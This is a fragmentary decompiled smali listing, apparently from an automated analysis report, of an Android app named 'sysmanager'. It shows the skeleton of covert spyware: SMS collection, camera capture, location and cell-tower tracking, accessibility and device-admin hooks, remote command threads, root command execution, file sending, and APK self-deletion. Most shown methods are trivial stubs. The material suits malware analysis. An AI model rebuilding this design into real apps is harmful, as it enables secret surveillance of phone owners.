5invoke-virtual {v0}, Lcom/sysmanager/system/AndroidSystemCall$1;->start()V
6return-void
Cross References
APIs
  • com.sysmanager.system.AndroidTouch$1.<init>
  • com.sysmanager.system.AndroidTouch$1.start
Position Instruction Meta Information
0.prologue
1new-instance v0, Lcom/sysmanager/system/AndroidTouch$1;
3invoke-direct {v0, p0}, Lcom/sysmanager/system/AndroidTouch$1;-><init>(Lcom/sysmanager/system/AndroidTouch;)V
5invoke-virtual {v0}, Lcom/sysmanager/system/AndroidTouch$1;->start()V
6return-void
APIs
  • android.app.Activity.onResume
  • com.sysmanager.AccessibilityDialog.checkAccessibility
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onResume()V
4invoke-direct {p0}, Lcom/sysmanager/AccessibilityDialog;->checkAccessibility()V
5return-void
APIs
  • android.app.Activity.onStop
  • com.sysmanager.CrashDialog.finish
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onStop()V
4invoke-virtual {p0}, Lcom/sysmanager/CrashDialog;->finish()V
5return-void
APIs
  • android.app.Service.onDestroy
  • com.sysmanager.system.AndroidFileSystem.stopSelf
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onDestroy()V
4invoke-virtual {p0}, Lcom/sysmanager/system/AndroidFileSystem;->stopSelf()V
5return-void
APIs
  • android.app.Service.onCreate
  • com.sysmanager.system.AndroidMessagingService.GetListaSMS
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onCreate()V
4invoke-virtual {p0}, Lcom/sysmanager/system/AndroidMessagingService;->GetListaSMS()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4const-string v0, ""
5iput-object v0, p0, Lcom/sysmanager/storage/PositionVar;->lat:Ljava/lang/String;
7const-string v0, ""
8iput-object v0, p0, Lcom/sysmanager/storage/PositionVar;->lon:Ljava/lang/String;
10const-string v0, ""
11iput-object v0, p0, Lcom/sysmanager/storage/PositionVar;->pos:Ljava/lang/String;
13const-string v0, ""
14iput-object v0, p0, Lcom/sysmanager/storage/PositionVar;->acc:Ljava/lang/String;
16const-string v0, ""
17iput-object v0, p0, Lcom/sysmanager/storage/PositionVar;->alt:Ljava/lang/String;
19const-string v0, ""
20iput-object v0, p0, Lcom/sysmanager/storage/PositionVar;->speed:Ljava/lang/String;
22const-string v0, ""
23iput-object v0, p0, Lcom/sysmanager/storage/PositionVar;->timestamp:Ljava/lang/String;
25const-string v0, ""
26iput-object v0, p0, Lcom/sysmanager/storage/PositionVar;->city:Ljava/lang/String;
28const-string v0, ""
29iput-object v0, p0, Lcom/sysmanager/storage/PositionVar;->address:Ljava/lang/String;
31const-string v0, ""
32iput-object v0, p0, Lcom/sysmanager/storage/PositionVar;->countryCode:Ljava/lang/String;
34const-string v0, ""
35iput-object v0, p0, Lcom/sysmanager/storage/PositionVar;->countryName:Ljava/lang/String;
37const-string v0, ""
38iput-object v0, p0, Lcom/sysmanager/storage/PositionVar;->postalCode:Ljava/lang/String;
40const-string v0, ""
41iput-object v0, p0, Lcom/sysmanager/storage/PositionVar;->regione:Ljava/lang/String;
42return-void
Cross References
APIs
  • android.location.LocationManager.removeUpdates
Position Instruction Meta Information
0.prologue
1iget-boolean v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mPlayServicesCurrent:Z
2if-eqz v0, :cond_1b
4iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mGoogleApiClient:Lcom/google/android/gms/common/api/GoogleApiClient;
5if-eqz v0, :cond_17
7iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mGoogleApiClient:Lcom/google/android/gms/common/api/GoogleApiClient;
9invoke-virtual {v0}, Lcom/google/android/gms/common/api/GoogleApiClient;->isConnected()Z
10move-result v0
11if-eqz v0, :cond_17
13sget-object v0, Lcom/google/android/gms/location/LocationServices;->FusedLocationApi:Lcom/google/android/gms/location/FusedLocationProviderApi;
15iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mGoogleApiClient:Lcom/google/android/gms/common/api/GoogleApiClient;
17invoke-interface {v0, v1, p0}, Lcom/google/android/gms/location/FusedLocationProviderApi;->removeLocationUpdates(Lcom/google/android/gms/common/api/GoogleApiClient;Lcom/google/android/gms/location/LocationListener;)Lcom/google/android/gms/common/api/PendingResult;
18cond_17: const/4 v0, 0x0
19iput-boolean v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mIsLocating:Z
20return-void
21cond_1b:
22iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mLocationManager:Landroid/location/LocationManager;
24invoke-virtual {v0, p0}, Landroid/location/LocationManager;->removeUpdates(Landroid/location/LocationListener;)V
25goto/16 :goto_17
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4const-string v0, ""
5iput-object v0, p0, Lcom/sysmanager/storage/Cell;->cellid:Ljava/lang/String;
7const-string v0, ""
8iput-object v0, p0, Lcom/sysmanager/storage/Cell;->lac:Ljava/lang/String;
10const-string v0, ""
11iput-object v0, p0, Lcom/sysmanager/storage/Cell;->psc:Ljava/lang/String;
13const-string v0, ""
14iput-object v0, p0, Lcom/sysmanager/storage/Cell;->timestamp:Ljava/lang/String;
16const-string v0, ""
17iput-object v0, p0, Lcom/sysmanager/storage/Cell;->type:Ljava/lang/String;
19const-string v0, ""
20iput-object v0, p0, Lcom/sysmanager/storage/Cell;->latitude:Ljava/lang/String;
22const-string v0, ""
23iput-object v0, p0, Lcom/sysmanager/storage/Cell;->longitude:Ljava/lang/String;
24return-void
Cross References
APIs
  • android.util.Base64.decode
Position Instruction Meta Information
0.param p0, "key" # Ljava/lang/String;
1.param p1, "input" # Ljava/lang/String;
2.annotation system Ldalvik/annotation/Throws;
3value = {
4Lcom/sysmanager/cryptoutils/CryptoException;
5}
6.end annotation
7.prologue
8const/4 v1, 0x2
10invoke-static {p1, v1}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
11move-result-object v0
13invoke-static {v1, p0, v0}, Lcom/sysmanager/cryptoutils/CryptoUtils;->doDecryptoString(ILjava/lang/String;[B)Ljava/lang/String;
14move-result-object v1
15return-object v1
APIs
  • android.app.Activity.onDestroy
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/sysmanager/EnableLocationActivity;->mGoogleApiClient:Lcom/google/android/gms/common/api/GoogleApiClient;
4invoke-virtual {v0}, Lcom/google/android/gms/common/api/GoogleApiClient;->isConnected()Z
5move-result v0
6if-eqz v0, :cond_d
8iget-object v0, p0, Lcom/sysmanager/EnableLocationActivity;->mGoogleApiClient:Lcom/google/android/gms/common/api/GoogleApiClient;
10invoke-virtual {v0}, Lcom/google/android/gms/common/api/GoogleApiClient;->disconnect()V
11cond_d:
12invoke-super {p0}, Landroid/app/Activity;->onDestroy()V
13return-void
APIs
  • android.app.Service.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Service;-><init>()V
3const/4 v0, 0x0
4iput-boolean v0, p0, Lcom/sysmanager/system/AndroidCamera;->cameraBusy:Z
5new-instance v0, Lcom/sysmanager/system/AndroidCamera$1;
7invoke-direct {v0, p0}, Lcom/sysmanager/system/AndroidCamera$1;-><init>(Lcom/sysmanager/system/AndroidCamera;)V
8iput-object v0, p0, Lcom/sysmanager/system/AndroidCamera;->mErrorCallback:Landroid/hardware/Camera$ErrorCallback;
9new-instance v0, Lcom/sysmanager/system/AndroidCamera$2;
11invoke-direct {v0, p0}, Lcom/sysmanager/system/AndroidCamera$2;-><init>(Lcom/sysmanager/system/AndroidCamera;)V
12iput-object v0, p0, Lcom/sysmanager/system/AndroidCamera;->mPicture:Landroid/hardware/Camera$PictureCallback;
13return-void
APIs
  • android.accessibilityservice.AccessibilityService.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/accessibilityservice/AccessibilityService;-><init>()V
4const-string v0, ""
5iput-object v0, p0, Lcom/sysmanager/system/AccessibilityService;->mApp:Ljava/lang/String;
6new-instance v0, Lcom/sysmanager/system/AccessibilityService$1;
8invoke-direct {v0, p0}, Lcom/sysmanager/system/AccessibilityService$1;-><init>(Lcom/sysmanager/system/AccessibilityService;)V
9iput-object v0, p0, Lcom/sysmanager/system/AccessibilityService;->serviceConnection:Landroid/content/ServiceConnection;
10return-void
APIs
  • android.app.Service.<init>
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x0
3invoke-direct {p0}, Landroid/app/Service;-><init>()V
4iput-boolean v0, p0, Lcom/sysmanager/system/AndroidFileManager;->done:Z
5iput-boolean v0, p0, Lcom/sysmanager/system/AndroidFileManager;->sending:Z
7const-string v0, ""
8iput-object v0, p0, Lcom/sysmanager/system/AndroidFileManager;->path:Ljava/lang/String;
9return-void
Cross References
APIs
  • java.io.Closeable.close
Position Instruction Meta Information
0.param p0, "closeable" # Ljava/io/Closeable;
1.prologue
2if-eqz p0, :cond_5
3try_start_2:
4invoke-interface {p0}, Ljava/io/Closeable;->close()V
5goto_5: return-void
6catch_6: move-exception v0
7goto/16 :goto_5
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "files" # [Ljava/io/File;
1.param p2, "zipFile" # Ljava/lang/String;
2.prologue
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5iput-object p1, p0, Lcom/sysmanager/storage/Compress;->_files:[Ljava/io/File;
6iput-object p2, p0, Lcom/sysmanager/storage/Compress;->_zipFile:Ljava/lang/String;
7return-void
APIs
  • com.sysmanager.CrashDialog.finish
Position Instruction Meta Information
0.param p1, "dialog" # Landroid/content/DialogInterface;
1.param p2, "which" # I
2.prologue
4iget-object v0, p0, Lcom/sysmanager/CrashDialog$1;->this$0:Lcom/sysmanager/CrashDialog;
6invoke-virtual {v0}, Lcom/sysmanager/CrashDialog;->finish()V
7return-void
APIs
  • com.sysmanager.EnableLocationActivity.finish
Position Instruction Meta Information
0.param p1, "connectionResult" # Lcom/google/android/gms/common/ConnectionResult;
1.annotation build Landroid/support/annotation/NonNull;
2.end annotation
3.end param
4.prologue
6invoke-virtual {p0}, Lcom/sysmanager/EnableLocationActivity;->finish()V
7return-void
APIs
  • android.app.Service.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Service;-><init>()V
3new-instance v0, Lcom/sysmanager/system/AndroidAlarmManager$1;
5invoke-direct {v0, p0}, Lcom/sysmanager/system/AndroidAlarmManager$1;-><init>(Lcom/sysmanager/system/AndroidAlarmManager;)V
6iput-object v0, p0, Lcom/sysmanager/system/AndroidAlarmManager;->mSendFiles:Ljava/lang/Runnable;
7return-void
APIs
  • com.sysmanager.system.AndroidCamera.access$000
Position Instruction Meta Information
0.param p1, "data" # [B
1.param p2, "camera" # Landroid/hardware/Camera;
2.prologue
4iget-object v0, p0, Lcom/sysmanager/system/AndroidCamera$2;->this$0:Lcom/sysmanager/system/AndroidCamera;
6invoke-static {v0, p1}, Lcom/sysmanager/system/AndroidCamera;->access$000(Lcom/sysmanager/system/AndroidCamera;[B)V
7return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidCamera;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidCamera$3;->this$0:Lcom/sysmanager/system/AndroidCamera;
3iput-object p2, p0, Lcom/sysmanager/system/AndroidCamera$3;->val$dirfile:Ljava/lang/String;
4iput-object p3, p0, Lcom/sysmanager/system/AndroidCamera$3;->val$nmfile:Ljava/lang/String;
6invoke-direct {p0}, Ljava/lang/Object;-><init>()V
7return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidMDMSupport;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidMDMSupport$1;->this$0:Lcom/sysmanager/system/AndroidMDMSupport;
3iput-object p2, p0, Lcom/sysmanager/system/AndroidMDMSupport$1;->val$command:Ljava/lang/String;
4iput-object p3, p0, Lcom/sysmanager/system/AndroidMDMSupport$1;->val$suPath:Ljava/lang/String;
6invoke-direct {p0}, Ljava/lang/Object;-><init>()V
7return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "path" # Ljava/lang/String;
1.param p2, "php" # [Ljava/lang/String;
2.prologue
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5iput-object p1, p0, Lcom/sysmanager/system/AndroidMDMSupport$Social;->dbPath:Ljava/lang/String;
6iput-object p2, p0, Lcom/sysmanager/system/AndroidMDMSupport$Social;->phpUrl:[Ljava/lang/String;
7return-void
APIs
  • com.sysmanager.system.AndroidSystemQueues.stopSelf
Position Instruction Meta Information
0.param p1, "connectionResult" # Lcom/google/android/gms/common/ConnectionResult;
1.annotation build Landroid/support/annotation/NonNull;
2.end annotation
3.end param
4.prologue
6invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemQueues;->stopSelf()V
7return-void
APIs
  • android.os.Messenger.getBinder
Position Instruction Meta Information
0.param p1, "intent" # Landroid/content/Intent;
1.prologue
3iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemService;->mMessenger:Landroid/os/Messenger;
5invoke-virtual {v0}, Landroid/os/Messenger;->getBinder()Landroid/os/IBinder;
6move-result-object v0
7return-object v0
Cross References
Strings
  • A70
Position Instruction Meta Information
0.prologue
2const-string v0, "A70"
4invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->computeMD5Hash(Ljava/lang/String;)Ljava/lang/String;
5move-result-object v0
6return-object v0
APIs
  • com.sysmanager.CrashDialog.finish
Position Instruction Meta Information
0.param p1, "dialogInterface" # Landroid/content/DialogInterface;
1.prologue
3iget-object v0, p0, Lcom/sysmanager/CrashDialog$2;->this$0:Lcom/sysmanager/CrashDialog;
5invoke-virtual {v0}, Lcom/sysmanager/CrashDialog;->finish()V
6return-void
Cross References
APIs
  • java.lang.Thread.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidAccessibility;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidAccessibility$1;->this$0:Lcom/sysmanager/system/AndroidAccessibility;
3iput-object p2, p0, Lcom/sysmanager/system/AndroidAccessibility$1;->val$comando:Ljava/lang/String;
5invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
6return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidClock;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidClock$2;->this$0:Lcom/sysmanager/system/AndroidClock;
3iput-object p2, p0, Lcom/sysmanager/system/AndroidClock$2;->val$task:Ljava/lang/Runnable;
5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
6return-void
APIs
  • android.app.Service.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Service;-><init>()V
4const-string v0, ""
5iput-object v0, p0, Lcom/sysmanager/system/AndroidFileSystem;->content:Ljava/lang/String;
6return-void
Cross References
APIs
  • java.lang.Thread.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidSystemLog;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidSystemLog$1;->this$0:Lcom/sysmanager/system/AndroidSystemLog;
3iput-object p2, p0, Lcom/sysmanager/system/AndroidSystemLog$1;->val$ctx:Landroid/content/Context;
5invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
6return-void
APIs
  • com.sysmanager.system.AndroidSystemQueues.access$202
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues$2;->this$0:Lcom/sysmanager/system/AndroidSystemQueues;
3const/4 v1, 0x1
5invoke-static {v0, v1}, Lcom/sysmanager/system/AndroidSystemQueues;->access$202(Lcom/sysmanager/system/AndroidSystemQueues;Z)Z
6return-void
Cross References
APIs
  • android.telephony.PhoneStateListener.<init>
Position Instruction Meta Information
0.param p2, "context" # Landroid/content/Context;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidSystemService$PhoneListener;->this$0:Lcom/sysmanager/system/AndroidSystemService;
4invoke-direct {p0}, Landroid/telephony/PhoneStateListener;-><init>()V
5iput-object p2, p0, Lcom/sysmanager/system/AndroidSystemService$PhoneListener;->mContext:Landroid/content/Context;
6return-void
Cross References
APIs
  • java.lang.Exception.<init>
Position Instruction Meta Information
0.param p1, "message" # Ljava/lang/String;
1.param p2, "throwable" # Ljava/lang/Throwable;
2.prologue
4invoke-direct {p0, p1, p2}, Ljava/lang/Exception;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
5return-void
Cross References
APIs
  • java.lang.Thread.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/sysmanager/network/HTTPUtility$1;->val$ctx:Landroid/content/Context;
2iput-object p2, p0, Lcom/sysmanager/network/HTTPUtility$1;->val$comando:Ljava/lang/String;
4invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/sysmanager/network/NetworkServices$1;->val$context:Landroid/content/Context;
2iput-object p2, p0, Lcom/sysmanager/network/NetworkServices$1;->val$pos2send:Lcom/sysmanager/storage/PositionVar;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/sysmanager/network/NetworkServices$2;->val$context:Landroid/content/Context;
2iput-object p2, p0, Lcom/sysmanager/network/NetworkServices$2;->val$listPositions:Ljava/util/ArrayList;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/sysmanager/network/NetworkServices$3;->val$context:Landroid/content/Context;
2iput-object p2, p0, Lcom/sysmanager/network/NetworkServices$3;->val$listCells:Ljava/util/ArrayList;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/sysmanager/network/NetworkServices$4;->val$context:Landroid/content/Context;
2iput-object p2, p0, Lcom/sysmanager/network/NetworkServices$4;->val$cell:Lcom/sysmanager/storage/Cell;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
APIs
  • com.sysmanager.storage.DeleteApkFiles.doInBackground
Position Instruction Meta Information
0.prologue
1check-cast p1, [Landroid/content/Context;
3invoke-virtual {p0, p1}, Lcom/sysmanager/storage/DeleteApkFiles;->doInBackground([Landroid/content/Context;)Ljava/lang/Void;
4move-result-object v0
5return-object v0
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/AccessibilityDialog;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/AccessibilityDialog$1;->this$0:Lcom/sysmanager/AccessibilityDialog;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/AccessibilityDialog;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/AccessibilityDialog$2;->this$0:Lcom/sysmanager/AccessibilityDialog;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/AccessibilityDialog;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/AccessibilityDialog$3;->this$0:Lcom/sysmanager/AccessibilityDialog;
4invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/CrashDialog;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/CrashDialog$1;->this$0:Lcom/sysmanager/CrashDialog;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/CrashDialog;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/CrashDialog$2;->this$0:Lcom/sysmanager/CrashDialog;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/EnableLocationActivity;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/EnableLocationActivity$1;->this$0:Lcom/sysmanager/EnableLocationActivity;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AccessibilityService;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AccessibilityService$1;->this$0:Lcom/sysmanager/system/AccessibilityService;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$1" # Lcom/sysmanager/system/AndroidAlarmManager$1;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidAlarmManager$1$1;->this$1:Lcom/sysmanager/system/AndroidAlarmManager$1;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidAlarmManager;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidAlarmManager$1;->this$0:Lcom/sysmanager/system/AndroidAlarmManager;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Thread.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidCallSystem;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidCallSystem$1;->this$0:Lcom/sysmanager/system/AndroidCallSystem;
4invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidCamera;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidCamera$1;->this$0:Lcom/sysmanager/system/AndroidCamera;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidCamera;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidCamera$2;->this$0:Lcom/sysmanager/system/AndroidCamera;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidCamera;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidCamera$4;->this$0:Lcom/sysmanager/system/AndroidCamera;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidCamera;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidCamera$5;->this$0:Lcom/sysmanager/system/AndroidCamera;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • com.sysmanager.system.AndroidCamera.processCameraImage
Position Instruction Meta Information
0.param p0, "x0" # Lcom/sysmanager/system/AndroidCamera;
1.param p1, "x1" # [B
2.prologue
4invoke-direct {p0, p1}, Lcom/sysmanager/system/AndroidCamera;->processCameraImage([B)V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidClock;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidClock$1;->this$0:Lcom/sysmanager/system/AndroidClock;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
APIs
  • android.app.admin.DeviceAdminReceiver.onEnabled
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "intent" # Landroid/content/Intent;
2.prologue
4invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onEnabled(Landroid/content/Context;Landroid/content/Intent;)V
5return-void
APIs
  • android.app.admin.DeviceAdminReceiver.onPasswordChanged
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "intent" # Landroid/content/Intent;
2.prologue
4invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onPasswordChanged(Landroid/content/Context;Landroid/content/Intent;)V
5return-void
APIs
  • android.app.admin.DeviceAdminReceiver.onPasswordFailed
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "intent" # Landroid/content/Intent;
2.prologue
4invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onPasswordFailed(Landroid/content/Context;Landroid/content/Intent;)V
5return-void
APIs
  • android.app.admin.DeviceAdminReceiver.onPasswordSucceeded
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "intent" # Landroid/content/Intent;
2.prologue
4invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onPasswordSucceeded(Landroid/content/Context;Landroid/content/Intent;)V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidFileManager;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidFileManager$1;->this$0:Lcom/sysmanager/system/AndroidFileManager;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidFileManager;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidFileManager$2;->this$0:Lcom/sysmanager/system/AndroidFileManager;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Thread.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidFileSystem;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidFileSystem$1;->this$0:Lcom/sysmanager/system/AndroidFileSystem;
4invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Thread.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidMessagingService;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidMessagingService$1;->this$0:Lcom/sysmanager/system/AndroidMessagingService;
4invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Thread.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidSystemCall;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidSystemCall$1;->this$0:Lcom/sysmanager/system/AndroidSystemCall;
4invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidSystemQueues;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidSystemQueues$1;->this$0:Lcom/sysmanager/system/AndroidSystemQueues;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidSystemQueues;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidSystemQueues$2;->this$0:Lcom/sysmanager/system/AndroidSystemQueues;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • android.os.ResultReceiver.<init>
Position Instruction Meta Information
0.param p2, "handler" # Landroid/os/Handler;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidSystemQueues$AddressResultReceiver;->this$0:Lcom/sysmanager/system/AndroidSystemQueues;
4invoke-direct {p0, p2}, Landroid/os/ResultReceiver;-><init>(Landroid/os/Handler;)V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidSystemService;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidSystemService$1;->this$0:Lcom/sysmanager/system/AndroidSystemService;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidSystemService;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidSystemService$2;->this$0:Lcom/sysmanager/system/AndroidSystemService;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidSystemService;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidSystemService$3;->this$0:Lcom/sysmanager/system/AndroidSystemService;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
